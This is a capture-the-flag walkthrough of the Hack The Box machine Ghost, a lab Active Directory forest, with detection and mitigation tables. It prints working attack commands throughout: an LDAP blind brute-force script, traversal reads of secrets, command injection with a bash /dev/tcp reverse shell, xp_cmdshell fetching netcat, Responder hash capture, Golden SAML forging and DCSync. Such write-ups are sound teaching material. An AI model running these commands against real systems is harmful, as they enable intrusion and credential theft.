Overview

Ghost is an Insane Windows machine built around an Active Directory forest with a sizable Linux web stack bolted onto the front. The initial surface is entirely web: a Ghost CMS blog, an internal Next.js intranet, and an ADFS-fronted “Ghost Core” application. The intranet authenticates against LDAP without sanitizing input, which gives both a login bypass and a blind character-by-character brute force of account secrets. That recovers Gitea credentials, and the Gitea source code exposes a modified Ghost CMS endpoint vulnerable to arbitrary file read and a Rust intranet API vulnerable to command injection.

From there the attack path crosses the boundary between Linux and Active Directory several times. Command injection lands a root shell inside a container, a reused SSH ControlMaster socket provides a session on the domain-joined Linux workstation as florence.ramirez, and that user’s Kerberos ticket unlocks domain enumeration. An ADIDNS record plus Responder captures and cracks justin.bradley’s NetNTLMv2 hash, giving WinRM access and the user flag. justin.bradley can read the ADFS gMSA password, which enables a Golden SAML attack to impersonate Administrator on the Core web application. That application is a thin front end over MSSQL, where a linked server allows impersonation of sa and command execution on a second domain controller.

The final stretch is pure Active Directory. The MSSQL service account on PRIMARY holds SeImpersonatePrivilege, which escalates to SYSTEM. PRIMARY is the domain controller for corp.ghost.htb, a child domain with a bidirectional, intra-forest trust to ghost.htb. With no SID filtering inside a forest, the krbtgt and trust keys harvested from corp are enough to forge a ticket carrying the Enterprise Admins SID, DCSync the parent domain, and authenticate to DC01 as Administrator for the root flag.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
recon -> web enum -> LDAP injection (intranet login as kathryn.holland)
  -> LDAP blind brute (gitea_temp_principal) -> Gitea source
  -> Ghost CMS file read (DEV_INTRANET_KEY) -> intranet /scan command injection
  -> root in container -> SSH ControlMaster reuse -> florence.ramirez on LINUX-DEV-WS01
  -> Kerberos ticket -> ADIDNS record + Responder -> justin.bradley NetNTLMv2 (cracked)
  -> WinRM as justin.bradley (user flag) -> ReadGMSAPassword -> adfs_gmsa$
  -> ADFSDump -> Golden SAML (ADFSpoof) -> core admin panel
  -> MSSQL linked server -> impersonate sa -> xp_cmdshell -> mssqlserver on PRIMARY
  -> SeImpersonate (EfsPotato) -> SYSTEM on PRIMARY (corp.ghost.htb DC)
  -> DCSync corp -> interdomain trust ticket (Enterprise Admins SID)
  -> DCSync ghost.htb -> Administrator hash -> WinRM on DC01 (root flag)

Reconnaissance

A full TCP scan followed by service detection shows a Windows domain controller with a large web footprint:

1
2
nmap -p- --min-rate 10000 10.10.10.x
nmap -p 53,80,88,135,139,389,443,445,464,593,636,1433,2179,3268,3269,3389,5985,8008,8443,9389 -sCV 10.10.10.x
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft HTTPAPI httpd 2.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
389/tcp  open  ldap          Microsoft Windows AD LDAP (Domain: ghost.htb)
445/tcp  open  microsoft-ds
636/tcp  open  ssl/ldap
1433/tcp open  ms-sql-s      Microsoft SQL Server 2022
3389/tcp open  ms-wbt-server
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0
8008/tcp open  http          nginx 1.18.0 (Ubuntu)   Ghost 5.78
8443/tcp open  ssl/http      nginx 1.18.0 (Ubuntu)   Ghost Core (core.ghost.htb)

The ports triage into three groups: a standard Windows DC (DNS, Kerberos, LDAP, SMB, MSSQL, WinRM), and two web servers whose nginx/1.18.0 (Ubuntu) banners on 8008 and 8443 indicate Linux services proxied behind the Windows host. The certificates leak DC01.ghost.htb, core.ghost.htb, and references to federation.ghost.htb, the ADFS endpoint.

1
10.10.10.x    DC01 DC01.ghost.htb ghost.htb core.ghost.htb federation.ghost.htb

Port 8008 serves a Ghost blog with a single default post. robots.txt points at /ghost/, the CMS admin login. Port 8443 (“Ghost Core”) redirects to /login, and its “Login using AD Federation” button bounces to federation.ghost.htb/adfs/ls/?SAMLRequest=..., confirming SAML single sign-on fronted by ADFS. Both are noted for later and currently require credentials.

Virtual host fuzzing against 8008 reveals the intranet:

1
2
ffuf -u http://ghost.htb:8008 -H "Host: FUZZ.ghost.htb" \
  -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac
1
intranet    [Status: 307, Size: 3968]

intranet.ghost.htb redirects to a login page that asks for a username and a “secret” rather than a password - a small but important detail that suggests a non-standard backend.

Initial Access

LDAP injection on the intranet

The intranet login POST carries fields named 1_ldap-username and 1_ldap-secret, which strongly implies the credentials are used to build an LDAP query. A wrong secret returns 200 with an error, while a successful bind redirects with 303 and sets a session cookie. Submitting * for both fields is treated as a wildcard and logs in as the first matching directory entry, kathryn.holland, confirming the filter is injectable.

The intranet itself yields useful context: an ongoing migration from Gitea to Bitbucket where only gitea_temp_principal may log in, a user list that doubles as a valid-username list for the domain, and a forum thread where justin.bradley complains that his pipeline script cannot reach bitbucket.ghost.htb because its DNS record is not set up yet. All three facts matter later.

Because the wildcard behaves like a boolean oracle, the secret can be recovered one character at a time by appending * to a candidate prefix and watching for the 303 response. The secrets are constrained to letters and digits, which keeps the search space small:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import requests, string

url = "http://intranet.ghost.htb:8008/login"
headers = {"Next-Action": "c471eb076ccac91d6f828b671795550fd5925940"}
username = "gitea_temp_principal"
password = ""

while True:
    for c in string.ascii_letters + string.digits:
        files = {
            "1_ldap-username": (None, username),
            "1_ldap-secret": (None, f"{password}{c}*"),
            "0": (None, '[{},"$K1"]'),
        }
        r = requests.post(url, headers=headers, files=files, allow_redirects=False)
        if r.status_code == 303:
            password += c
            break
    else:
        break
print(password)

This recovers the secret for gitea_temp_principal:

1
gitea_temp_principal : szrr8kpc3z6onlqf

Gitea source code

The intranet mentions Gitea but not its hostname. gitea.ghost.htb resolves, and gitea_temp_principal’s credentials grant access to the ghost-dev organization with two repositories: blog and intranet.

The blog README documents a shared DEV_INTRANET_KEY stored in an environment variable, a public Content API key a5af628828958c976a3b6cc81a, and a customized posts-public.js. Diffing that file against the upstream Ghost 5.78 release shows the injected behavior:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
const posts = await postsService.browsePosts(options);
const extra = frame.original.query?.extra;
if (extra) {
    const fs = require("fs");
    if (fs.existsSync(extra)) {
        const fileContent = fs.readFileSync("/var/lib/ghost/extra/" + extra, { encoding: "utf8" });
        posts.meta.extra = { [extra]: fileContent };
    }
}
return posts;

The extra query parameter is concatenated into a path and read with no sanitization, so directory traversal allows arbitrary file read. The authenticated Content API key makes the endpoint reachable:

1
2
curl 'http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../etc/passwd' \
  -s | jq -r '.meta.extra["../../../../etc/passwd"]'

Reading /proc/self/environ is more valuable than any static file, because the README indicated the key lives in an environment variable shared with the backend:

1
2
curl 'http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../proc/self/environ' \
  -s | jq -r '.meta.extra["../../../../proc/self/environ"]' | tr '\000' '\n'
1
2
3
DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
GHOST_VERSION=5.78.0
...

Command injection in the intranet API

The intranet repository holds a Rust backend. dev.rs gates a set of routes behind a single header check, X-DEV-INTRANET-KEY matching DEV_INTRANET_KEY, and scan.rs builds a shell command from attacker input:

1
2
3
4
let result = Command::new("bash")
    .arg("-c")
    .arg(format!("intranet_url_check {}", data.url))
    .output();

data.url is interpolated straight into bash -c with no escaping, so shell metacharacters break out of the intended command. The README states the dev API is exposed at /api-dev, which on port 8008 maps to /api-dev/scan. Supplying the recovered key and a command separator proves execution as root:

1
2
3
4
curl http://intranet.ghost.htb:8008/api-dev/scan \
  -d '{"url": "http://10.10.14.x/; id"}' \
  -H "Content-Type: application/json" \
  -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -s | jq .
1
2
"temp_command_stdout": "uid=0(root) gid=0(root) groups=0(root)\n",
"temp_command_stderr": "bash: line 1: intranet_url_check: command not found\n"

The intranet_url_check binary does not exist, but the injected id still runs. Swapping it for a reverse shell returns a root shell:

1
2
3
4
curl http://intranet.ghost.htb:8008/api-dev/scan \
  -d '{"url": "http://10.10.14.x/; bash -i >& /dev/tcp/10.10.14.x/443 0>&1"}' \
  -H "Content-Type: application/json" \
  -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe'
1
2
root@36b733906694:/app# id
uid=0(root) gid=0(root) groups=0(root)

The hostname and the presence of /.dockerenv confirm this is a container, not the host.

Lateral Movement

Container to florence.ramirez via SSH ControlMaster

The container’s docker-entrypoint.sh configures SSH connection multiplexing before launching the application:

1
2
3
mkdir -p /root/.ssh/controlmaster
printf 'Host *\n  ControlMaster auto\n  ControlPath ~/.ssh/controlmaster/%%r@%%h:%%p\n  ControlPersist yes' > /root/.ssh/config
exec /app/ghost_intranet

ControlMaster keeps a master connection alive and lets later invocations reuse it without re-authenticating. There is a live socket for a persistent session:

1
srw------- 1 root root 0 [email protected]@dev-workstation:22

Because the master connection is already authenticated, SSH to the same target reuses it with no password:

1
ssh [email protected]@dev-workstation
1
2
florence.ramirez@LINUX-DEV-WS01:~$ id
uid=50(florence.ramirez) gid=50(staff) groups=50(staff),51(it)

LINUX-DEV-WS01 is a domain-joined Linux workstation authenticating against Active Directory through winbind and Kerberos. florence.ramirez has an active ticket cache, pointed to by KRB5CCNAME:

1
2
florence.ramirez@LINUX-DEV-WS01:~$ env | grep KRB5
KRB5CCNAME=FILE:/tmp/krb5cc_50

The ticket is exfiltrated for use from the attacking host. As an aside, the first container’s environment also leaks LDAP_BIND_PASSWORD=He!KA9oKVT3rL99j for intranet_principal, which is an alternative way to obtain a domain foothold for enumeration; the Kerberos ticket is used here instead.

1
2
3
base64 /tmp/krb5cc_50   # paste, decode on attacker host into florence.ramirez.krb5cc
KRB5CCNAME=florence.ramirez.krb5cc klist
KRB5CCNAME=florence.ramirez.krb5cc netexec smb ghost.htb --use-kcache

Domain enumeration and ADIDNS to justin.bradley

With a domain identity, BloodHound data can be collected over Kerberos:

1
2
KRB5CCNAME=florence.ramirez.krb5cc bloodhound-python -c all -k -no-pass \
  -d ghost.htb -u florence.ramirez --use-ldaps -ns 10.10.10.x --zip

The DC returns two A records for dc01.ghost.htb, the external 10.10.10.x and the internal 10.0.0.254, served round robin. Collectors that resolve the name themselves may pick the unreachable internal address and hang; re-running after a fresh DNS lookup flips the order. This is a collection quirk, not part of the intended path.

The forum thread is the pivot. justin.bradley runs an automated script that tries to reach bitbucket.ghost.htb, whose record does not yet exist. By default any authenticated user can create missing ADIDNS records, so pointing bitbucket.ghost.htb at the attacker and running Responder coerces that script into authenticating outbound.

1
2
3
4
5
sudo python Responder.py -I tun0

KRB5CCNAME=florence.ramirez.krb5cc python dnstool.py \
  -u 'ghost.htb\florence.ramirez' -k -a add -r bitbucket \
  --zone ghost.htb --data 10.10.14.x -dns-ip 10.10.10.x DC01.ghost.htb

Shortly after, Responder captures a NetNTLMv2 challenge/response for justin.bradley, which cracks against rockyou:

1
hashcat justin.bradley.netntlmv2 /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
1
justin.bradley : Qwertyuiop1234$$

justin.bradley belongs to Remote Management Users, so the password grants a WinRM shell and the user flag:

1
evil-winrm -i dc01.ghost.htb -u justin.bradley -p 'Qwertyuiop1234$$'
1
2
*Evil-WinRM* PS C:\Users\justin.bradley\Desktop> type user.txt
[REDACTED_USER_FLAG]

gMSA read and Golden SAML

BloodHound shows justin.bradley holds ReadGMSAPassword over the adfs_gmsa$ service account. Reading the managed password yields its NTLM hash:

1
netexec ldap dc01.ghost.htb -u justin.bradley -p 'Qwertyuiop1234$$' --gmsa
1
Account: adfs_gmsa$   NTLM: 4b020ee46c62ff8181f96de84088ff37

The gMSA password rotates automatically, so this value changes between sessions. adfs_gmsa$ is also in Remote Management Users, giving a WinRM shell as the ADFS service account:

1
evil-winrm -i dc01.ghost.htb -u 'adfs_gmsa$' -H 4b020ee46c62ff8181f96de84088ff37

Controlling the ADFS service account enables a Golden SAML attack: with the token-signing key and its DKM decryption key, forged SAMLResponses can be signed for any user. ADFSDump.exe extracts the material from the configuration database and AD:

1
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> .\ADFSDump.exe

The output provides two private keys (the first works), the base64 encrypted token-signing key, the endpoint https://core.ghost.htb:8443/adfs/saml/postResponse, and the relying-party identifier https://core.ghost.htb:8443. The keys are converted to the binary forms ADFSpoof expects:

1
2
3
echo "8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1" \
  | tr -d "-" | xxd -r -p > private_key.bin
echo "AAAAAQ...<encrypted token signing key>...xm" | base64 -d > encrypted_token_signing_key.bin

A legitimate login is captured first to learn the claim format; the SAMLResponse decodes to XML whose AttributeStatement carries a upn and a CommonName claim. ADFSpoof then forges the same structure for Administrator:

1
2
3
4
5
6
python ADFSpoof.py -b encrypted_token_signing_key.bin private_key.bin -s 'core.ghost.htb' saml2 \
  --endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' \
  --nameidformat 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress' \
  --nameid '[email protected]' \
  --rpidentifier 'https://core.ghost.htb:8443' \
  --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>[email protected]</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'

Replacing the SAMLResponse value in the POST to /adfs/saml/postResponse returns a 303 and a new session cookie. Loading that cookie and refreshing the Core application authenticates as Administrator.

MSSQL linked server to PRIMARY

The Core admin panel is a thin front end over MSSQL, running queries as web_client on DC01. sp_linkedservers shows a linked server named PRIMARY, and OPENQUERY runs statements across the link. Checking for impersonation grants on PRIMARY reveals the escalation:

1
2
3
4
5
6
SELECT * FROM OPENQUERY("PRIMARY", '
  SELECT grantee.name AS Grantee, impersonated.name AS Impersonated
  FROM sys.server_permissions perm
  JOIN sys.server_principals grantee ON perm.grantee_principal_id = grantee.principal_id
  JOIN sys.server_principals impersonated ON perm.major_id = impersonated.principal_id
  WHERE perm.permission_name = ''IMPERSONATE'' ');
1
Grantee: bridge_corp   Impersonated: sa

The link allows RPC out, so stored procedures can run on PRIMARY with EXECUTE(...) AT [PRIMARY]. Impersonating sa enables xp_cmdshell:

1
EXECUTE('EXECUTE AS LOGIN=''sa''; exec sp_configure "show advanced options", 1; RECONFIGURE; exec sp_configure "xp_cmdshell", 1; reconfigure;') AT [PRIMARY]

A reverse shell is staged through an uploaded netcat, since an encoded PowerShell one-liner exceeds the 128-character identifier limit:

1
2
EXECUTE('EXECUTE AS LOGIN=''sa''; exec xp_cmdshell "powershell -c iwr http://10.10.14.x/nc64.exe -outfile C:\programdata\nc64.exe"') AT [PRIMARY]
EXECUTE('EXECUTE AS LOGIN=''sa''; exec xp_cmdshell "C:\programdata\nc64.exe 10.10.14.x 443 -e powershell"') AT [PRIMARY]
1
2
3
4
PS C:\Windows\system32> whoami
nt service\mssqlserver
PS C:\Windows\system32> hostname
PRIMARY

Privilege Escalation

SeImpersonate to SYSTEM on PRIMARY

As a database service account, mssqlserver holds SeImpersonatePrivilege:

1
2
PS C:\programdata> whoami /priv
SeImpersonatePrivilege  Impersonate a client after authentication  Enabled

GodPotato is flagged by Defender on execution, so EfsPotato is compiled on the host with the bundled C# compiler and used instead:

1
2
3
wget http://10.10.14.x/EfsPotato.cs -outfile EfsPotato.cs
C:\Windows\Microsoft.net\framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
.\EfsPotato.exe '\programdata\nc64.exe 10.10.14.x 444 -e powershell'
1
2
PS C:\programdata> whoami
nt authority\system

Intra-forest trust abuse to DC01

systeminfo and Get-ADDomainController show PRIMARY is the domain controller for corp.ghost.htb on 10.0.0.10, a child domain of ghost.htb. PowerView confirms the relationship:

1
2
3
4
5
6
PS C:\programdata> Get-DomainTrust
SourceName : corp.ghost.htb
TargetName : ghost.htb
TrustType  : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional

Inside a single forest there is no SID filtering by default, so a ticket forged in the child domain carrying the parent’s Enterprise Admins SID is honored across the trust. DCSync against corp harvests the keys needed to forge it, including the interdomain trust account GHOST$:

1
PS C:\programdata> .\m.exe 'lsadump::dcsync /all /csv' exit
1
2
502  krbtgt   69eb46aa347a8c68edb99be2725403ab
1103 GHOST$   ce0fc4ace6a604ba514b94b682dac57d

Using the trust account hash, ticketer.py forges an inter-realm TGT that injects the ghost.htb Enterprise Admins SID (-519) as an extra SID:

1
2
3
4
5
ticketer.py -nthash ce0fc4ace6a604ba514b94b682dac57d \
  -domain-sid S-1-5-21-2034262909-2733679486-179904498 \
  -domain corp.ghost.htb \
  -extra-sid S-1-5-21-4084500788-938703357-3654145966-519 \
  -spn krbtgt/ghost.htb attacker

That ticket requests a service ticket for CIFS on DC01, which then DCSyncs the parent domain:

1
2
3
KRB5CCNAME=attacker.ccache getST.py -k -no-pass -spn cifs/dc01.ghost.htb corp.ghost.htb/[email protected]
KRB5CCNAME=[email protected]@[email protected] \
  secretsdump.py -k -no-pass -just-dc [email protected]
1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1cdb17d5c14ff69e7067cffcc9e470bd:::

A Golden Ticket forged with the corp krbtgt AES key and the same Enterprise Admins SID (using Rubeus or mimikatz) reaches the same place; both abuse the missing intra-forest SID filtering. The recovered Administrator hash authenticates directly to DC01 over WinRM for the root flag:

1
evil-winrm -i dc01.ghost.htb -u administrator -H 1cdb17d5c14ff69e7067cffcc9e470bd
1
2
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[REDACTED_ROOT_FLAG]

Detection and Mitigation

StageRoot causeMitigation
Intranet LDAP injection and secret brute forceUnsanitized input concatenated into the LDAP search filterEscape LDAP special characters, use parameterized queries, enforce lockout and rate limiting on failed logins
Ghost CMS arbitrary file readCustom posts-public.js reads an attacker-controlled path with no traversal checkCanonicalize and allowlist paths, strip .., remove the development feature from production
Intranet /scan command injectionUser input interpolated into bash -cAvoid a shell, pass arguments as an array, validate URLs; gate dev routes to internal networks only
SSH ControlMaster reuseLong-lived multiplexed socket owned by root in a service containerShorten ControlPersist, isolate credentials, do not run the network service as root
ADIDNS record creationAny authenticated user can create missing DNS recordsRestrict DNS zone write ACLs, monitor record creation, disable dynamic updates where unneeded
NetNTLMv2 capture and crackWeak password plus NTLM authentication to an attacker-controlled hostStrong password policy, disable NTLM, require SMB signing and channel binding
gMSA password readNon-service principal granted retrieval rights over the ADFS gMSAScope PrincipalsAllowedToRetrieveManagedPassword to the hosting systems only
Golden SAMLCompromise of the ADFS token-signing key via the service accountProtect the ADFS service account, store signing keys in an HSM, monitor token issuance
MSSQL linked-server impersonation and xp_cmdshellLinked login mapped to a privileged account with IMPERSONATE, RPC out enabledLeast-privilege linked-server logins, disable xp_cmdshell and RPC out
SeImpersonate potatoService account holds SeImpersonatePrivilegeRemove the privilege where not required, apply vendor EFSRPC patches
Intra-forest trust abuse and DCSyncNo SID filtering within the forest; krbtgt and trust keys exposedTreat the forest as one security boundary, protect krbtgt and trust secrets, alert on replication from non-DCs

Detection signals:

  • Bursts of sequential intranet login attempts differing by a single trailing character, and unexpected 303 responses after wildcard input.
  • Content API requests to /ghost/api/content/posts/ containing extra= with directory-traversal sequences or /proc/ paths.
  • POST requests to /api-dev/scan whose url field contains shell metacharacters (;, |, backticks).
  • New ADIDNS records (DNS zone change events, directory object creation 5137) and NTLM authentication directed at a freshly created or nonexistent host.
  • LDAP reads of msDS-ManagedPassword and directory access events (4662) for the gMSA object by an unusual principal.
  • ADFS configuration database reads and anomalous registry or LSASS access by the ADFS service account; SAML tokens issued without a matching interactive authentication at the IdP.
  • sp_configure enabling xp_cmdshell and SQL Server spawning cmd.exe or powershell.exe.
  • Named-pipe and token-manipulation patterns from the MSSQL service, and process creation under NT SERVICE\MSSQLSERVER.
  • DCSync replication (DRSUAPI DsGetNCChanges, 4662 with replication GUIDs) sourced from a non-DC, and Kerberos service tickets (4769) with no preceding TGT request (4768), indicating forged tickets.

Lessons Learned

  • Custom code bolted onto a mature platform reintroduces basic bugs. A single injected endpoint turned a fully patched Ghost CMS into an arbitrary file read, and a one-line Rust handler became remote code execution.
  • Service accounts should carry only the privileges they need. gMSA retrieval rights, linked-server impersonation, and SeImpersonatePrivilege each converted a limited account into a far more powerful one.
  • Secrets reachable by a compromised process are compromised. The DEV_INTRANET_KEY, LDAP bind password, and a live SSH ControlMaster socket were all exposed to a network-facing service running as root in a container.
  • Federation signing keys are domain-admin-equivalent. Whoever can sign SAML assertions can impersonate any user to every relying party, so the ADFS service account deserves the same protection as a tier-0 asset.
  • An Active Directory forest is a single security boundary. Without SID filtering, control of a child domain controller plus its trust keys is enough to forge a path into the parent, so child domains cannot be treated as isolation.

Command Reference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# Recon
nmap -p- --min-rate 10000 10.10.10.x
nmap -p 53,80,88,135,139,389,443,445,464,593,636,1433,2179,3268,3269,3389,5985,8008,8443,9389 -sCV 10.10.10.x
ffuf -u http://ghost.htb:8008 -H "Host: FUZZ.ghost.htb" \
  -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac

# LDAP injection: login bypass with * / *, then blind brute (see script) -> gitea_temp_principal : <gitea_secret>

# Ghost CMS arbitrary file read
curl 'http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../proc/self/environ' \
  -s | jq -r '.meta.extra["../../../../proc/self/environ"]' | tr '\000' '\n'   # -> DEV_INTRANET_KEY=<dev_key>

# Command injection -> container shell as root
curl http://intranet.ghost.htb:8008/api-dev/scan \
  -d '{"url": "http://10.10.14.x/; bash -i >& /dev/tcp/10.10.14.x/443 0>&1"}' \
  -H "Content-Type: application/json" -H 'X-DEV-INTRANET-KEY: <dev_key>'

# Container -> florence.ramirez on LINUX-DEV-WS01
ssh [email protected]@dev-workstation
base64 /tmp/krb5cc_50           # decode to florence.ramirez.krb5cc on attacker host

# Domain enum + ADIDNS poisoning
KRB5CCNAME=florence.ramirez.krb5cc bloodhound-python -c all -k -no-pass \
  -d ghost.htb -u florence.ramirez --use-ldaps -ns 10.10.10.x --zip
sudo python Responder.py -I tun0
KRB5CCNAME=florence.ramirez.krb5cc python dnstool.py \
  -u 'ghost.htb\florence.ramirez' -k -a add -r bitbucket \
  --zone ghost.htb --data 10.10.14.x -dns-ip 10.10.10.x DC01.ghost.htb
hashcat justin.bradley.netntlmv2 rockyou.txt   # -> justin.bradley : <justin_pass>

# User flag
evil-winrm -i dc01.ghost.htb -u justin.bradley -p '<justin_pass>'   # type user.txt

# gMSA read -> adfs_gmsa$
netexec ldap dc01.ghost.htb -u justin.bradley -p '<justin_pass>' --gmsa
evil-winrm -i dc01.ghost.htb -u 'adfs_gmsa$' -H <gmsa_hash>

# Golden SAML
#   .\ADFSDump.exe   (on target)
echo "8D-AC-...-A1" | tr -d "-" | xxd -r -p > private_key.bin
echo "AAAAAQ...xm" | base64 -d > encrypted_token_signing_key.bin
python ADFSpoof.py -b encrypted_token_signing_key.bin private_key.bin -s 'core.ghost.htb' saml2 \
  --endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' \
  --nameidformat 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress' \
  --nameid '[email protected]' --rpidentifier 'https://core.ghost.htb:8443' \
  --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>[email protected]</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'

# MSSQL linked server -> mssqlserver on PRIMARY (run in the Core panel)
EXECUTE('EXECUTE AS LOGIN=''sa''; exec sp_configure "show advanced options",1; RECONFIGURE; exec sp_configure "xp_cmdshell",1; reconfigure;') AT [PRIMARY]
EXECUTE('EXECUTE AS LOGIN=''sa''; exec xp_cmdshell "powershell -c iwr http://10.10.14.x/nc64.exe -outfile C:\programdata\nc64.exe"') AT [PRIMARY]
EXECUTE('EXECUTE AS LOGIN=''sa''; exec xp_cmdshell "C:\programdata\nc64.exe 10.10.14.x 443 -e powershell"') AT [PRIMARY]

# SeImpersonate -> SYSTEM on PRIMARY
C:\Windows\Microsoft.net\framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
.\EfsPotato.exe '\programdata\nc64.exe 10.10.14.x 444 -e powershell'

# Intra-forest trust abuse -> DC01
.\m.exe 'lsadump::dcsync /all /csv' exit   # -> GHOST$ : <trust_hash>, corp krbtgt
ticketer.py -nthash <trust_hash> -domain-sid S-1-5-21-2034262909-2733679486-179904498 \
  -domain corp.ghost.htb -extra-sid S-1-5-21-4084500788-938703357-3654145966-519 \
  -spn krbtgt/ghost.htb attacker
KRB5CCNAME=attacker.ccache getST.py -k -no-pass -spn cifs/dc01.ghost.htb corp.ghost.htb/[email protected]
KRB5CCNAME=[email protected]@[email protected] \
  secretsdump.py -k -no-pass -just-dc [email protected]   # -> Administrator : <admin_hash>

# Root flag
evil-winrm -i dc01.ghost.htb -u administrator -H <admin_hash>   # type root.txt

Based on public write-ups of the Hack The Box machine Ghost.